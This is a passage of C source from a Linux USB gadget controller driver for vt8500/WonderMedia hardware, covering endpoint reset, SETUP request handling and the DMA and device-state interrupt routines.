EP_ACTIVE) /* wait the DMA stopped*/ ; pDevReg->Bulk3EpControl = 0; /* stop the bulk DMA*/ while (pDevReg->Bulk3EpControl & EP_ACTIVE) /* wait the DMA stopped*/ ; #endif pDevReg->Bulk1DesStatus = 0x00; pDevReg->Bulk2DesStatus = 0x00; pDevReg->Bulk3DesStatus = 0x00; pDevReg->Bulk1DesTbytes0 = 0; pDevReg->Bulk1DesTbytes1 = 0; pDevReg->Bulk1DesTbytes2 = 0; pDevReg->Bulk2DesTbytes0 = 0; pDevReg->Bulk2DesTbytes1 = 0; pDevReg->Bulk2DesTbytes2 = 0; pDevReg->Bulk3DesTbytes0 = 0; pDevReg->Bulk3DesTbytes1 = 0; pDevReg->Bulk3DesTbytes2 = 0; /* enable DMA and run the control endpoint*/ wmb(); pDevReg->ControlEpControl = EP_RUN + EP_ENABLEDMA; #if 0 /* enable DMA and run the bulk endpoint*/ pDevReg->Bulk1EpControl = EP_RUN + EP_ENABLEDMA; pDevReg->Bulk2EpControl = EP_RUN + EP_ENABLEDMA; #ifdef USE_BULK3_TO_INTERRUPT pDevReg->Bulk3EpControl = EP_RUN + EP_ENABLEDMA; #else pDevReg->InterruptEpControl = EP_RUN + EP_ENABLEDMA; #endif #endif /* enable DMA and run the interrupt endpoint*/ /* UsbControlRegister.InterruptEpControl = EP_RUN+EP_ENABLEDMA;*/ /* run the USB controller*/ pDevReg->MiscControl3 = 0x3d; wmb(); pDevReg->PortControl |= PORTCTRL_SELFPOWER;/* Device port control register - 22*/ pDevReg->CommandStatus = USBREG_RUNCONTROLLER; wmb(); ControlState = CONTROLSTATE_SETUP; USBState = USBSTATE_DEFAULT; TestMode = 0; /*status = wmt_udc_setup(odev, xceiv);*/ wmt_ep_setup_csr("ep0", 0, USB_ENDPOINT_XFER_CONTROL, 64); #if 1 wmt_ep_setup_csr("ep1in-bulk", (USB_DIR_IN | 1), USB_ENDPOINT_XFER_BULK, 64); wmt_ep_setup_csr("ep2out-bulk", (USB_DIR_OUT | 2), USB_ENDPOINT_XFER_BULK, 64); #if 0 #ifdef USE_BULK3_TO_INTERRUPT wmt_ep_setup_csr("ep3in-int", (USB_DIR_IN | 3), USB_ENDPOINT_XFER_INT, 28); #else wmt_ep_setup_csr("ep3in-int", (USB_DIR_IN | 3), USB_ENDPOINT_XFER_INT, 8); #endif #endif #endif } void reset_udc(void) { /* if (!((*(volatile unsigned int *)(PM_CTRL_BASE_ADDR + 0x254))&0x00000080))*/ /* *(volatile unsigned int *)(PM_CTRL_BASE_ADDR + 0x254) |= 0x00000080;*/ /*DPM needed*/ pDevReg->CommandStatus |= USBREG_RESETCONTROLLER; wmb(); if ((*(volatile unsigned char *)(USB_IP_BASE + 0x249))&0x04) { *(volatile unsigned char*)(USB_IP_BASE + 0x249)&= ~0x04; mdelay(1); } pUSBMiscControlRegister5 = (unsigned char *)(USB_UDC_REG_BASE + 0x1A0); *pUSBMiscControlRegister5 = 0x01;/*USB in normal operation*/ /* reset Bulk descriptor control*/ wmb(); f_ep3_used = 0; reset_ep(); pDevReg->SelfPowerConnect |= 0x10;//Neil wmb(); /* enable all interrupt*/ #ifdef FULL_SPEED_ONLY pDevReg->IntEnable = (INTENABLE_ALL | INTENABLE_FULLSPEEDONLY) ;/*0x70*/ #else pDevReg->IntEnable = INTENABLE_ALL;/*0x70*/ #endif wmb(); /* set IOC on the Setup decscriptor to accept the Setup request*/ pDevReg->ControlDesControl = CTRLXFER_IOC; /*Neil_080731*/ /* pullup_disable here and enable in /arch/arm/kernel/apm.c:395 apm_ioctl() to patch issue signal fail when resume when recive*/ /* set_configuration time out.*/ /* pullup_enable(udc);//usb_gadget_probe_driver()*/ wmb(); wmt_pdma_reset(); // pullup_enable(udc); // pDevReg->FunctionPatchEn |= 0x20; /* HW attach process evaluation enable bit*/ /* pullup_disable(udc);*/ /*Neil_080731*/ } /* static int can_pullup(struct vt8500_udc *udc) { return udc->driver && udc->softconnect && udc->vbus_active; } */ static void pullup_disable(struct vt8500_udc *udc) { INFO("pullup_disable()\n"); /*Hold port control's FSM from enter device mode.*/ //pDevReg->PhyMisc &= 0x0F; //pDevReg->PhyMisc |= 0x10; pDevReg->FunctionPatchEn &= (~0x20); /* HW attach process evaluation enable bit*/ wmb(); gadget_connect=0; f_ep3_used = 0; reset_ep(); wmt_pdma_reset(); } /*static void pullup_disable()*/ /* * Called by whatever detects VBUS sessions: external transceiver * driver, or maybe GPIO0 VBUS IRQ. May request 48 MHz clock. */ static int wmt_vbus_session(struct usb_gadget *gadget, int is_active) { DBG("wmt_vbus_session()\n"); return 0; } static int wmt_vbus_draw(struct usb_gadget *gadget, unsigned mA) { DBG("wmt_vbus_draw()\n"); return -EOPNOTSUPP; } static int wmt_pullup(struct usb_gadget *gadget, int is_on) { struct vt8500_udc *udc; // unsigned long flags; DBG("wmt_pullup()\n"); udc = container_of(gadget, struct vt8500_udc, gadget); down(&wmt_udc_sem); spin_lock_irqsave(&udc->lock, irq_flags); udc->softconnect = (is_on != 0); // if (can_pullup(udc)) if (udc->softconnect) pullup_enable(udc); else { pullup_disable(udc); //run_script(action_off_line); } spin_unlock_irqrestore(&udc->lock, irq_flags); up(&wmt_udc_sem); return 0; } void get_udc_sem (void) { down(&wmt_udc_sem); } void release_udc_sem (void) { up(&wmt_udc_sem); } static int wmt_udc_start(struct usb_gadget_driver *driver, int (*bind)(struct usb_gadget *)); static int wmt_udc_stop(struct usb_gadget_driver *driver); static struct usb_gadget_ops wmt_gadget_ops = { .get_frame = wmt_get_frame, .wakeup = wmt_wakeup, .set_selfpowered = wmt_set_selfpowered, .vbus_session = wmt_vbus_session, .vbus_draw = wmt_vbus_draw, .pullup = wmt_pullup, .start = wmt_udc_start, .stop = wmt_udc_stop, }; /* dequeue ALL requests; caller holds udc->lock */ static void nuke(struct vt8500_ep *ep, int status) { struct vt8500_req *req; DBG("nuke()\n"); ep->stopped = 1; while (!list_empty(&ep->queue)) { req = list_entry(ep->queue.next, struct vt8500_req, queue); done(ep, req, status); } } /*void nuke()*/ /* caller holds udc->lock */ static void udc_quiesce(struct vt8500_udc *udc) { struct vt8500_ep *ep; DBG("udc_quiesce()\n"); udc->gadget.speed = USB_SPEED_UNKNOWN; nuke(&udc->ep[0], -ESHUTDOWN); list_for_each_entry(ep, &udc->gadget.ep_list, ep.ep_list) nuke(ep, -ESHUTDOWN); } /*void udc_quiesce()*/ /* static void update_otg(struct vt8500_udc *udc) { u16 devstat; if (!udc->gadget.is_otg) return; if (OTG_CTRL_REG & OTG_ID) devstat = UDC_DEVSTAT_REG; else devstat = 0; udc->gadget.b_hnp_enable = !!(devstat & UDC_B_HNP_ENABLE); udc->gadget.a_hnp_support = !!(devstat & UDC_A_HNP_SUPPORT); udc->gadget.a_alt_hnp_support = !!(devstat & UDC_A_ALT_HNP_SUPPORT); // Enable HNP early, avoiding races on suspend irq path. // ASSUMES OTG state machine B_BUS_REQ input is true. // if (udc->gadget.b_hnp_enable) OTG_CTRL_REG = (OTG_CTRL_REG | OTG_B_HNPEN | OTG_B_BUSREQ) & ~OTG_PULLUP; }//static void update_otg() */ /* define the prepare result codes*/ #define RESPOK 0 #define RESPFAIL 1 u16 Control_Length; /* the length of transfer for current control transfer*/ u16 Configure_Length; /*UDC_IS_SETUP_INT*/ static void udc_control_prepare_data_resp(void)/*(struct vt8500_udc *udc, u32 udc_irq_src)*/ { struct vt8500_ep *ep0 = &udc->ep[0]; struct vt8500_req *req = 0; /*UCHAR Result = RESPFAIL;*/ /*unsigned char CurXferLength = 0;*/ /*unsigned char Control_Length = 0;*/ int i; u8 test_mode_enable = 0; Configure_Length = 0; /*ep0->irqs++;*/ DBG("ep0_irq()\n"); ep0->toggle_bit = 1; if (!list_empty(&ep0->queue)) req = container_of(ep0->queue.next, struct vt8500_req, queue); /* SETUP starts all control transfers*/ { union u { u8 bytes[8]; struct usb_ctrlrequest r; } u; int status = -EINVAL; struct vt8500_ep *ep = &udc->ep[0]; int ep0_status_phase_0_byte = 0; nuke(ep0, 0); /* read the (latest) SETUP message*/ for (i = 0; i <= 7; i++) u.bytes[i] = pSetupCommandBuf[i]; le32_to_cpus(&u.r.wValue); le32_to_cpus(&u.r.wIndex); le32_to_cpus(&u.r.wLength); /* Delegate almost all control requests to the gadget driver,*/ /* except for a handful of ch9 status/feature requests that*/ /* hardware doesn't autodecode _and_ the gadget API hides.*/ /**/ udc->ep0_in = (u.r.bRequestType & USB_DIR_IN) != 0; udc->ep0_set_config = 0; udc->ep0_pending = 1; udc->ep0_in_status = 0; ep0->stopped = 0; ep0->ackwait = 0; if ((u.r.bRequestType & USB_RECIP_OTHER) == USB_RECIP_OTHER) {/*USB_RECIP_OTHER(0x03)*/ status = 0; /*INFO("ep0_irq() setup command[0]=(0x%08X)\n",u.dword[0]);*/ /*INFO("ep0_irq() setup command[1]=(0x%08X)\n",u.dword[1]);*/ /*INFO("ep0_irq() address(%08X)", udc_reg->AddressControl);*/ goto delegate; } switch (u.r.bRequest) { case USB_REQ_SET_CONFIGURATION: /* udc needs to know when ep != 0 is valid*/ /*SETUP 00.09 v0001 i0000 l0000*/ if (u.r.bRequestType != USB_RECIP_DEVICE)/*USB_RECIP_DEVICE(0x00)*/ goto delegate; if (u.r.wLength != 0) goto do_stall; udc->ep0_set_config = 1; udc->ep0_reset_config = (u.r.wValue == 0); VDBG("set config %d\n", u.r.wValue); if (u.r.wValue == 0) USBState = USBSTATE_ADDRESS; else USBState = USBSTATE_CONFIGED; /* update udc NOW since gadget driver may start*/ /* queueing requests immediately; clear config*/ /* later if it fails the request.*/ /**/ udc->ep[0].toggle_bit = 0; udc->ep[1].toggle_bit = 0; udc->ep[2].toggle_bit = 0; udc->ep[3].toggle_bit = 0; udc->ep[4].toggle_bit = 0; udc->ep[5].toggle_bit = 0;//gri udc->ep[6].toggle_bit = 0;//gri status = 0; goto delegate; /* Giga Hsu : 2007.6.6 This would cause set interface status 0 return to fast and cause bulk endpoint in out error*/ case USB_REQ_SET_INTERFACE: VDBG("set interface %d\n", u.r.wValue); status = 0; udc->ep[0].toggle_bit = 0; udc->ep[1].toggle_bit = 0; udc->ep[2].toggle_bit = 0; udc->ep[3].toggle_bit = 0; udc->ep[4].toggle_bit = 0; udc->ep[5].toggle_bit = 0;//gri udc->ep[6].toggle_bit = 0;//gri goto delegate; /*break;*/ case USB_REQ_CLEAR_FEATURE: /* clear endpoint halt*/ if (u.r.bRequestType != USB_RECIP_ENDPOINT) goto delegate; if (u.r.wValue != USB_ENDPOINT_HALT || u.r.wLength != 0) goto do_stall; ep = &udc->ep[u.r.wIndex & 0xf]; if (ep != ep0) { if (ep->bmAttributes == USB_ENDPOINT_XFER_ISOC || !ep->desc) goto do_stall; if (udc->file_storage_set_halt == 0) { switch ((ep->bEndpointAddress & 0x7F)) { case 0:/*Control In/Out*/ pDevReg->ControlEpControl &= 0xF7; break; case 1:/*Bulk In*/ pDevReg->Bulk1EpControl &= 0xF7; #ifdef MSC_COMPLIANCE_TEST udc_bulk_dma_dump_register(); udc_device_dump_register(); #endif if (ep->stall_more_processing == 1) { u32 dma_ccr = 0; ep->stall_more_processing = 0; wmt_pdma0_reset(); wmt_udc_pdma_des_prepare(ep->temp_dcmd, ep->temp_bulk_dma_addr, DESCRIPTOT_TYPE_LONG, TRANS_IN, 1); pDevReg->Bulk1DesStatus = 0x00; pDevReg->Bulk1DesTbytes2 |= (ep->temp_dcmd >> 16) & 0x3; pDevReg->Bulk1DesTbytes1 = (ep->temp_dcmd >> 8) & 0xFF; pDevReg->Bulk1DesTbytes0 = ep->temp_dcmd & 0xFF; /* set endpoint data toggle*/ if (ep->ep_stall_toggle_bit) { /* BULKXFER_DATA1;*/ pDevReg->Bulk1DesTbytes2 |= 0x40; } else { /*(~BULKXFER_DATA1);*/ pDevReg->Bulk1DesTbytes2 &= 0xBF; } pDevReg->Bulk1DesStatus = (BULKXFER_IOC | BULKXFER_IN); /* DMA Channel Control Reg*/ /* Software Request + Channel Enable*/ dma_ccr = 0; dma_ccr = DMA_RUN; wmb(); pUdcDmaReg->DMA_Context_Control0 = dma_ccr; //neil wmb(); pDevReg->Bulk1DesStatus |= BULKXFER_ACTIVE; } break; case 2:/*Bulk Out*/ pDevReg->Bulk2EpControl &= 0xF7; if (ep->stall_more_processing == 1) { u32 dma_ccr = 0; ep->stall_more_processing = 0; wmt_pdma1_reset(); // wmt_pdma_reset(); wmt_udc_pdma_des_prepare(ep->temp_dcmd, ep->temp_bulk_dma_addr, DESCRIPTOT_TYPE_LONG, TRANS_OUT, 1); /* DMA Global Controller Reg*/ /* DMA Controller Enable +*/ /* DMA Global Interrupt Enable(if any TC, error, or abort status in any channels occurs)*/ pDevReg->Bulk2DesStatus = 0x00; pDevReg->Bulk2DesTbytes2 |= (ep->temp_dcmd >> 16) & 0x3; pDevReg->Bulk2DesTbytes1 = (ep->temp_dcmd >> 8) & 0xFF; pDevReg->Bulk2DesTbytes0 = ep->temp_dcmd & 0xFF; if (ep->ep_stall_toggle_bit) pDevReg->Bulk2DesTbytes2 |= BULKXFER_DATA1; else pDevReg->Bulk2DesTbytes2 &= 0x3F; pDevReg->Bulk2DesStatus = BULKXFER_IOC; /* DMA Channel Control Reg*/ /* Software Request + Channel Enable*/ /*udc_bulk_dma_dump_register();*/ dma_ccr = 0; dma_ccr = DMA_RUN; dma_ccr |= DMA_TRANS_OUT_DIR; wmb(); pUdcDmaReg->DMA_Context_Control1 = dma_ccr; wmb(); pDevReg->Bulk2DesStatus |= BULKXFER_ACTIVE; } break; case 3:/*Interrupt In*/ #ifdef USE_BULK3_TO_INTERRUPT /*Bulk In*/ pDevReg->Bulk3EpControl &= 0xF7; #ifdef MSC_COMPLIANCE_TEST udc_bulk_dma_dump_register(); udc_device_dump_register(); #endif if (ep->stall_more_processing == 1) { u32 dma_ccr = 0; ep->stall_more_processing = 0; wmt_pdma2_reset(); wmt_udc_pdma_des_prepare(ep->temp_dcmd, ep->temp_bulk_dma_addr, DESCRIPTOT_TYPE_LONG, TRANS_IN, 0); pDevReg->Bulk3DesStatus = 0x00; pDevReg->Bulk3DesTbytes2 |= (ep->temp_dcmd >> 16) & 0x3; pDevReg->Bulk3DesTbytes1 = (ep->temp_dcmd >> 8) & 0xFF; pDevReg->Bulk3DesTbytes0 = ep->temp_dcmd & 0xFF; /* set endpoint data toggle*/ if (ep->ep_stall_toggle_bit) { /* BULKXFER_DATA1;*/ pDevReg->Bulk3DesTbytes2 |= 0x40; } else { /*(~BULKXFER_DATA1);*/ pDevReg->Bulk3DesTbytes2 &= 0xBF; } pDevReg->Bulk3DesStatus = (BULKXFER_IOC | BULKXFER_IN); /* DMA Channel Control Reg*/ /* Software Request + Channel Enable*/ dma_ccr = 0; dma_ccr = DMA_RUN; wmb(); pUdcDmaReg->DMA_Context_Control2 = dma_ccr; //neil wmb(); pDevReg->Bulk3DesStatus |= BULKXFER_ACTIVE; } #else /*Interrupt In*/ pDevReg->InterruptEpControl &= 0xF7; #endif break; case 4:/*Iso In*/ pDevReg->Bulk3EpControl &= 0xF7; #ifdef MSC_COMPLIANCE_TEST udc_bulk_dma_dump_register(); udc_device_dump_register(); #endif if (ep->stall_more_processing == 1) { u32 dma_ccr = 0; ep->stall_more_processing = 0; wmt_pdma2_reset(); wmt_udc_pdma_des_prepare(ep->temp_dcmd, ep->temp_bulk_dma_addr, DESCRIPTOT_TYPE_LONG, TRANS_IN, 0); pDevReg->Bulk3DesStatus = 0x00; pDevReg->Bulk3DesTbytes2 |= (ep->temp_dcmd >> 16) & 0x3; pDevReg->Bulk3DesTbytes1 = (ep->temp_dcmd >> 8) & 0xFF; pDevReg->Bulk3DesTbytes0 = ep->temp_dcmd & 0xFF; /* set endpoint data toggle*/ if (ep->ep_stall_toggle_bit) { /* BULKXFER_DATA1;*/ pDevReg->Bulk3DesTbytes2 |= 0x40; } else { /*(~BULKXFER_DATA1);*/ pDevReg->Bulk3DesTbytes2 &= 0xBF; } pDevReg->Bulk3DesStatus = (BULKXFER_IOC | BULKXFER_IN); /* DMA Channel Control Reg*/ /* Software Request + Channel Enable*/ dma_ccr = 0; dma_ccr = DMA_RUN; wmb(); pUdcDmaReg->DMA_Context_Control2 = dma_ccr; //neil wmb(); pDevReg->Bulk3DesStatus |= BULKXFER_ACTIVE; } break; } ep->stall = 0; ep->stopped = 0; /**ep->reg_irp_descriptor = ep->temp_irp_descriptor;*/ } } /*if (ep != ep0)*/ ep0_status_phase_0_byte = 1; VDBG("%s halt cleared by host\n", ep->name); /*goto ep0out_status_stage;*/ status = 0; udc->ep0_pending = 0; /*break;*/ goto delegate; case USB_REQ_SET_FEATURE: /* set endpoint halt*/ if ((u.r.wValue == USB_DEVICE_TEST_MODE)) {/*(USBState == USBSTATE_DEFAULT) &&*/ TestMode = (UCHAR)(u.r.wIndex >> 8); test_mode_enable = 1; INFO("USB_REQ_SET_FEATURE - TestMode (0x%02X)\n", TestMode); /*ControlState = CONTROLSTATE_STATUS;*/ ep0_status_phase_0_byte = 1; status = 0; break; } if (u.r.bRequestType != USB_RECIP_ENDPOINT) goto delegate; if (u.r.wValue != USB_ENDPOINT_HALT || u.r.wLength != 0) goto do_stall; ep = &udc->ep[u.r.wIndex & 0xf]; if (ep->bmAttributes == USB_ENDPOINT_XFER_ISOC || ep == ep0 || !ep->desc) goto do_stall; wmb(); switch ((ep->bEndpointAddress & 0x7F)) { case 0:/*Control In/Out*/ pDevReg->ControlEpControl |= EP_STALL; break; case 1:/*Bulk In*/ pDevReg->Bulk1EpControl |= EP_STALL; break; case 2:/*Bulk Out*/ pDevReg->Bulk2EpControl |= EP_STALL; break; case 3: #ifdef USE_BULK3_TO_INTERRUPT /*Bulk Out*/ pDevReg->Bulk3EpControl |= EP_STALL; #else /*Interrupt In*/ pDevReg->InterruptEpControl |= EP_STALL; #endif break; case 4: /*Bulk Out*/ pDevReg->Bulk3EpControl |= EP_STALL; break; } wmb(); ep->stall = 1; ep->stopped = 1; ep0_status_phase_0_byte = 1; /*use_ep(ep, 0);*/ /* can't halt if fifo isn't empty...*/ /*UDC_CTRL_REG = UDC_CLR_EP;*/ /*UDC_CTRL_REG = UDC_SET_HALT;*/ VDBG("%s halted by host\n", ep->name); /*ep0out_status_stage:*/ status = 0; udc->ep0_pending = 0; /*break;*/ goto delegate; case USB_REQ_GET_STATUS: /* return interface status. if we were pedantic,*/ /* we'd detect non-existent interfaces, and stall.*/ /**/ if (u.r.bRequestType == (USB_DIR_IN|USB_RECIP_ENDPOINT)) { ep = &udc->ep[u.r.wIndex & 0xf]; if (ep->stall == 1) { udc->ep0_in_status = 0x01; /*GgiaHsu-B 2007.08.10 : patch HW Bug : MSC Compliance Test : Error Recovery Items.*/ ep = &udc->ep[3]; if ((udc->file_storage_set_halt == 1) && (ep->stall == 1)) ep->stall = 1; /*GgiaHsu-E 2007.08.10 : --------------------------------------------*/ ep = &udc->ep[0]; ep->stall = 0; } else udc->ep0_in_status = 0x00; VDBG("GET_STATUS, interface wIndex(0x%02X) ep0_in_status(0x%04X)\n" , u.r.wIndex, udc->ep0_in_status); } else udc->ep0_in_status = 0x00; /* return two zero bytes*/ status = 0; /* next, status stage*/ goto delegate; break; case USB_REQ_SET_ADDRESS: if (u.r.bRequestType == USB_RECIP_DEVICE) { /*USB_RECIP_DEVICE(0x00)*/ if (USBState == USBSTATE_DEFAULT) { if (u.r.wValue != 0) USBState = USBSTATE_ADDRESS; } else if (USBState == USBSTATE_ADDRESS) { if (u.r.wValue == 0) USBState = USBSTATE_DEFAULT; } pDevReg->DeviceAddr |= (DEVADDR_ADDRCHANGE | u.r.wValue); VDBG("USB_REQ_SET_ADDRESS 0x%03d\n", u.r.wValue); ControlState = CONTROLSTATE_STATUS; ep0_status_phase_0_byte = 1; status = 0; } break; case USB_BULK_RESET_REQUEST: VDBG("USB_BULK_RESET_REQUEST\n"); udc->file_storage_set_halt = 0; udc->ep[0].toggle_bit = 0; udc->ep[1].toggle_bit = 0; udc->ep[2].toggle_bit = 0; udc->ep[3].toggle_bit = 0; udc->ep[4].toggle_bit = 0; udc->ep[5].toggle_bit = 0;//gri udc->ep[6].toggle_bit = 0;//gri status = 0; goto delegate; /*break;*/ default: delegate: VDBG("SETUP %02x.%02x v%04x i%04x l%04x\n", u.r.bRequestType, u.r.bRequest, u.r.wValue, u.r.wIndex, u.r.wLength); /* // The gadget driver may return an error here, // causing an immediate protocol stall. // // Else it must issue a response, either queueing a // response buffer for the DATA stage, or halting ep0 // (causing a protocol stall, not a real halt). A // zero length buffer means no DATA stage. // // It's fine to issue that response after the setup() // call returns, and this IRQ was handled. // */ udc->ep0_setup = 1; spin_unlock_irqrestore(&udc->lock, irq_flags); /*usb gadget driver prepare setup data phase(control in)*/ status = udc->driver->setup(&udc->gadget, &u.r); /*usb_gadget_driver->setup()*/ spin_lock_irqsave(&udc->lock, irq_flags); udc->ep0_setup = 0; } /*switch (u.r.bRequest)*/ if (ep0_status_phase_0_byte == 1) {/* && (udc->ep[0].stall==0))*/ udc->ep0_status_0_byte = 1; if (test_mode_enable == 1) ep0_status(udc); } if (status < 0) { do_stall: /* ep = &udc->ep[0];*/ /**ep->reg_control_status |= UDC_EP0_STALL;*/ /* fail in the command parsing*/ pDevReg->ControlEpControl |= EP_STALL; /* stall the pipe*/ wmb(); ControlState = CONTROLSTATE_SETUP; /* go back to setup state*/ ep->stall = 1; DBG("Setup Command STALL : req %02x.%02x protocol STALL; stat %d\n", u.r.bRequestType, u.r.bRequest, status); udc->ep0_pending = 0; } /*if (status < 0)*/ } /*if (udc_irq_src & UDC_IS_SETUP_INT)*/ } /*udc_control_prepare_data_resp()*/ #define OTG_FLAGS (UDC_B_HNP_ENABLE|UDC_A_HNP_SUPPORT|UDC_A_ALT_HNP_SUPPORT) static void devstate_irq(struct vt8500_udc *udc, u32 port0_status) { udc->usb_connect = 0; if (pDevReg->IntEnable & INTENABLE_DEVICERESET) { /*vt3357 hw issue : clear all device register.*/ /*payload & address needs re-set again...*/ pDevReg->IntEnable |= INTENABLE_SUSPENDDETECT; VDBG("devstate_irq() - Global Reset...\n"); //printk("[devstate_irq]0xd8009834 = 0x%8.8x\n",*(volatile unsigned int *)(USB_IP_BASE+0x2034)); if (udc->driver) { udc->gadget.speed = USB_SPEED_UNKNOWN; // ppudc = udc; // run_script(action_off_line); // udc->driver->disconnect(&udc->gadget); } udc->ep0_set_config = 0; pDevReg->Bulk1DesStatus = 0; udc->ep[0].toggle_bit = 0; udc->ep[1].toggle_bit = 0; udc->ep[2].toggle_bit = 0; udc->ep[3].toggle_bit = 0; udc->ep[4].toggle_bit = 0; udc->ep[5].toggle_bit = 0;//gri udc->ep[6].toggle_bit = 0;//gri udc->ep[0].rndis = 0; udc->ep[1].rndis = 0; udc->ep[2].rndis = 0; udc->ep[3].rndis = 0; udc->ep[4].rndis = 0; udc->ep[5].rndis = 0;//gri udc->ep[6].rndis = 0;//gri udc->file_storage_set_halt = 0; udc->bulk_out_dma_write_error = 0; udc->gadget.speed = USB_SPEED_UNKNOWN; wmt_pdma_reset(); gadget_connect=0; /*vt8500_usb_device_reg_dump();*/ } /*if (pDevReg->IntEnable & INTENABLE_DEVICERESET)*/ if (pDevReg->IntEnable & INTENABLE_SUSPENDDETECT) { VDBG("devstate_irq() - Global Suspend...\n"); pDevReg->IntEnable |= INTENABLE_SUSPENDDETECT; } /*if (pDevReg->IntEnable & INTENABLE_SUSPENDDETECT)*/ if (pDevReg->IntEnable & INTENABLE_RESUMEDETECT) { pDevReg->IntEnable |= INTENABLE_RESUMEDETECT; VDBG("devstate_irq() - Global Resume...\n"); } /*if (pDevReg->IntEnable & INTENABLE_RESUMEDETECT)*/ /*#ifdef UDC_A1_SELF_POWER_ENABLE*/ /* USB Bus Connection Change*/ /* clear connection change event*/ if (pDevReg->PortControl & PORTCTRL_SELFPOWER)/* Device port control register - 22)*/ if (pDevReg->PortControl & PORTCTRL_CONNECTCHANGE)/* Device port control register - 22)*/ pDevReg->PortControl |= PORTCTRL_CONNECTCHANGE;/* 0x02 // connection change bit*/ /*#endif*/ if (pDevReg->PortControl & PORTCTRL_FULLSPEEDMODE) { udc->gadget.speed = USB_SPEED_FULL; udc->usb_connect = 1; /*2007-8.27 GigaHsu : enable float, reset, suspend and resume IE*/ /*after host controller connected.*/ VDBG("devstate_irq() - full speed host connect...\n"); } /*if(pDevReg->PortControl & PORTCTRL_FULLSPEEDMODE)*/ if (pDevReg->PortControl & PORTCTRL_HIGHSPEEDMODE) { udc->gadget.speed = USB_SPEED_HIGH; udc->usb_connect = 1; /*2007-8.27 GigaHsu : enable float, reset, suspend and resume IE*/ /*after host controller connected.*/ VDBG("devstate_irq() - high speed host connect...\n"); } /*if(pDevReg->PortControl & PORTCTRL_HIGHSPEEDMODE)*/ } /*static void devstate_irq()*/ void USB_ControlXferComplete(void) { struct vt8500_ep *ep; struct vt8500_req *req; ep = &udc->ep[0]; /* when ever a setup received, the Control state will reset*/ /* check for the valid bit of the contol descriptor*/ /*DBG("USB_ControlXferComplete()\n");*/ if (pDevReg->ControlDesControl & CTRLXFER_CMDVALID) { ep->toggle_bit = 1; if (udc->usb_connect == 0) { if (pDevReg->PortControl & PORTCTRL_FULLSPEEDMODE) { udc->gadget.speed = USB_SPEED_FULL; udc->usb_connect = 1; udc->gadget.max_speed = USB_SPEED_HIGH; /*2007-8.27 GigaHsu : enable float, reset, suspend and resume IE*/ /*after host controller connected.*/ //wmt_udc_csr(udc); VDBG("devstate_irq() - full speed host connect...\n"); USBState = USBSTATE_DEFAULT; } /*if(pDevReg->PortControl & PORTCTRL_FULLSPEEDMODE)*/ if (pDevReg->PortControl & PORTCTRL_HIGHSPEEDMODE) { udc->gadget.speed = USB_SPEED_HIGH; udc->usb_connect = 1; udc->gadget.max_speed = USB_SPEED_HIGH; /*2007-8.27 GigaHsu : enable float, reset, suspend and resume IE*/ /*after host controller connected.*/ //wmt_udc_csr(udc); VDBG("devstate_irq() - high speed host connect...\n"); USBState = USBSTATE_DEFAULT; } /*if(pDevReg->PortControl & PORTCTRL_HIGHSPEEDMODE)*/ } /* HP11_Begin*/ /* clear the command valid bit*/ /* pDevReg->ControlDesControl |= CTRLXFER_CMDVALID;*/ /* always clear control stall when SETUP received*/ pDevReg->ControlEpControl &= 0x17; /* clear the stall*/ wmb(); ControlState = CONTROLSTATE_DATA; udc_control_prepare_data_resp(); /*processing SETUP command ...*/ pDevReg->ControlDesControl &= 0xEF;/*(~CTRLXFER_CMDVALID);*/ wmb(); /*HP11_End*/ return; } if (udc->ep0_in) { /* IN dma: tx to host*/ if (!list_empty(&ep->queue)) { /* >64 bytes for prepare DATA*/ req = container_of(ep->queue.next, struct vt8500_req, queue); VDBG("dma_irq : finish_in_dma() EP0 %s\n", ep ? ep->ep.name : NULL); finish_in_dma(ep, req, 0); } while (pDevReg->ControlEpControl & EP_COMPLETEINT) /* clear the event*/ ; if (!list_empty(&ep->queue)) { /* >64 bytes for prepare DATA*/ req = container_of(ep->queue.next, struct vt8500_req, queue); VDBG("dma_irq : next_in_dma() EP0 %s\n", ep ? ep->ep.name : NULL); next_in_dma(ep, req); } } else {/*ep0 out*/ /* OUT dma: rx from host*/ if (!list_empty(&ep->queue)) { req = container_of(ep->queue.next, struct vt8500_req, queue); finish_out_dma(ep, req, 0); } while (pDevReg->ControlEpControl & EP_COMPLETEINT) /* clear the event*/ ; if (!list_empty(&ep->queue)) { /* >64 bytes for prepare DATA*/ req = container_of(ep->queue.next, struct vt8500_req, queue); next_out_dma(ep, req); } } } /*void USB_ControlXferComplete(void)*/ static irqreturn_t wmt_udc_dma_irq(int irq, void *_udc)//, struct pt_regs *r) { irqreturn_t status = IRQ_NONE; u32 bulk_dma_csr; bulk_dma_csr = pUdcDmaReg->DMA_ISR; /*printk("[udc_dma_isr]dma int_sts = 0x%8.8x\n",pUdcDmaReg->DMA_ISR);*/ if (bulk_dma_csr & DMA_INTERRUPT_STATUS0) { /* printk("[udc_dma_isr]channel0 event = 0x%8.8x\n",pUdcDmaReg->DMA_Context_Control0);*/ pUdcDmaReg->DMA_ISR = DMA_INTERRUPT_STATUS0; status = IRQ_HANDLED; } if (bulk_dma_csr & DMA_INTERRUPT_STATUS1) { /* printk("[udc_dma_isr]channel1 event = 0x%8.8x\n",pUdcDmaReg->DMA_Context_Control1);*/ pUdcDmaReg->DMA_ISR = DMA_INTERRUPT_STATUS1; status = IRQ_HANDLED; } if (bulk_dma_csr & DMA_INTERRUPT_STATUS2) { /* printk("[udc_dma_isr]channel2 event = 0x%8.8x\n",pUdcDmaReg->DMA_Context_Control2);*/ pUdcDmaReg->DMA_ISR = DMA_INTERRUPT_STATUS2; //printk("iso dma hit\n"); dma_irq(0x84); status = IRQ_HANDLED; } return status; } static irqreturn_t wmt_udc_irq(int irq, void *_udc)//, struct pt_regs *r) { struct vt8500_udc *udc = _udc; u32 udc_irq_src; irqreturn_t status = IRQ_NONE; // unsigned long flags; #ifdef OTGIP u32 global_irq_src; #endif /*u32 i;*/ spin_lock_irqsave(&udc->lock, irq_flags); DBG("wmt_udc_irq()\n"); #ifdef OTGIP /*Global Interrupt Status*/ global_irq_src = pGlobalReg->UHDC_Interrupt_Status; if (global_irq_src & UHDC_INT_UDC) {/*UDC Core + UDC DMA1 + UDC DMA2 */ if (global_irq_src & UHDC_INT_UDC_CORE) {/*UDC Core*/ #endif /*connection interrupt*/ if (pDevReg->SelfPowerConnect & 0x02) { //struct usb_gadget_driver *driver = udc->driver; if (pDevReg->SelfPowerConnect & 0x01) //connect { // wmt_pdma_reset(); reset_udc(); //pullup_enable(udc); } else {//disconnct // spin_unlock_irqrestore(&udc->lock, 